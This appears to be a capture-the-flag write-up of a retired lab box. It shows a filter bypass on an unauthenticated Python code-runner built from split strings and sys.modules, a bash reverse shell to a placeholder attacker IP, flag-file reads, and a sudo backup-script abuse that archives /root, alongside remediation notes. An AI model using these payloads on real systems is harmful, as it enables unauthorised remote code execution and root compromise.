Code
Summary
The target exposed a Python code-runner on port 5000 that any unauthenticated user on the network could reach. The application attempted to block OS access by rejecting direct import os statements, but Python's sys.modules dictionary already held a live reference to the module — assembling the name from string fragments at runtime bypassed the filter in a single request, giving full shell access as the web-service account (app-production) and the user flag.
From that shell, a passwordless sudo rule permitted the account to run a backup script (backy.sh) as root. The script read its source-directory from my own JSON config file with no path validation; pointing it at /root caused it to create an archive of the root home directory, from which the root flag was extracted and full system compromise was achieved.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Confirm open ports and service banners.
$ nmap -Pn -sV -p 22,5000 $TARGET
22/tcp open ssh
5000/tcp open httpFetch the web root to see application type, title, and any exposed links.
$ curl -sS -i --max-time 10 http://$TARGET:5000/Fingerprint the full technology stack (Flask, Python version, etc.).
$ whatweb -a 3 http://$TARGET:5000 --color=never/run_code POST endpoint, which accepted arbitrary Python source, executed it server-side, and returned the output — with no login, API key, or CSRF token required. The application included a client-side hint that submissions were evaluated with exec() or eval(), and attempting print(1+1) confirmed live execution.Exact commands 2
Fuzz for accessible paths; /run_code and any other endpoints appear here.
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://$TARGET:5000/FUZZ -mc 200,204,301,302,307,401,403 -t 20 -maxtime 60Verify the endpoint executes Python and returns output without credentials.
$ curl -sS -X POST http://$TARGET:5000/run_code --data-urlencode 'code=print(1+1)'FixRemove the unauthenticated Python code-execution endpointCritical
/run_code endpoint that executed arbitrary Python code submitted by any network-reachable user with no authentication required. A one-line obfuscated payload using Python's built-in sys.modules dictionary bypassed the keyword filter and gave full shell access as the service account.import os and os.popen, but Python's runtime had already loaded the os module and stored it in sys.modules. By looking up the module with a split key ('o'+'s') and accessing popen through getattr() with a split string, I retrieved a live os reference without writing any blocked token. This one-liner executed arbitrary shell commands as the web-service user with no further obstacle.Exact commands 1
Confirm RCE — response should show uid/gid of the web-service account (app-production).
$ curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('id'); print(getattr(p,'r'+'e'+'a'+'d')())"app-production for local enumeration.Exact commands 3
Read user.txt; output is <user.txt>.
$ base=http://$TARGET:5000; cmd='id; whoami; pwd; for f in /home/*/user.txt; do echo $f; cat $f 2>/dev/null; done'; code="module=sys.modules['o'+'s']; p=getattr(module,'p'+'o'+'p'+'e'+'n')('$cmd'); print(getattr(p,'r'+'e'+'a'+'d')()"); curl -sS --max-time 12 -X POST "$base/run_code" --data-urlencode "code=$code"Start listener on my machine before the next step.
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener IP. Delivers a reverse shell caught by nc above.
$ curl -sS --max-time 12 -X POST http://$TARGET:5000/run_code --data-urlencode "code=module=sys.modules['o'+'s']; module.system('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"')"app-production revealed a NOPASSWD entry permitting the account to run /usr/bin/backy.sh as root without supplying a password. Reading the script showed it accepted a JSON configuration file — path provided on the command line — that specified the source directory to archive. No check validated or restricted the path in any way.Exact commands 2
Run from the app-production shell; reveals the NOPASSWD backy.sh entry.
$ sudo -lRead the script to confirm it ingests a JSON config and determine the output archive location.
$ cat /usr/bin/backy.shFixRemove the passwordless sudo rule for backy.sh and validate backup source pathsCritical
backy.sh immediately (visudo). If automated root-level backups are operationally required, hard-code the permitted source paths inside the script itself — never read them from a user-supplied file — and validate the resolved path against the whitelist before any archive operation. Restrict execution to a dedicated, non-interactive backup service account rather than the web-service user. Audit all sudo rules fleet-wide with sudo -l and remove any NOPASSWD grants that cannot be justified by a documented operational need.backy.sh placed no restriction on the JSON-supplied source path, I created a config file naming /root as the backup source. Running the script under sudo caused it to create a compressed archive of the entire root home directory — including root.txt — and write it to a world-readable location. Extracting the archive gave the root flag and confirmed full system control.Exact commands 5
Craft the malicious JSON config and create a staging directory.
$ mkdir -p /tmp/extracted; echo '{"src":"/root","dst":"/tmp/pwned"}' > /tmp/evil.jsonRun backy.sh as root with my own config; archives /root into /tmp/pwned/.
$ sudo /usr/bin/backy.sh /tmp/evil.jsonLocate the resulting archive file (typically a .tar.gz or .zip).
$ ls /tmp/pwned/Extract the archive; adjust extension to match actual output (may be .zip — use unzip instead).
$ tar xf /tmp/pwned/*.tar.gz -C /tmp/extracted/Read root.txt — value is <root.txt>. Adjust path to match extraction layout.
$ cat /tmp/extracted/root/root.txtExposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) |
| 5000/tcp | http Gunicorn 20.0.4 |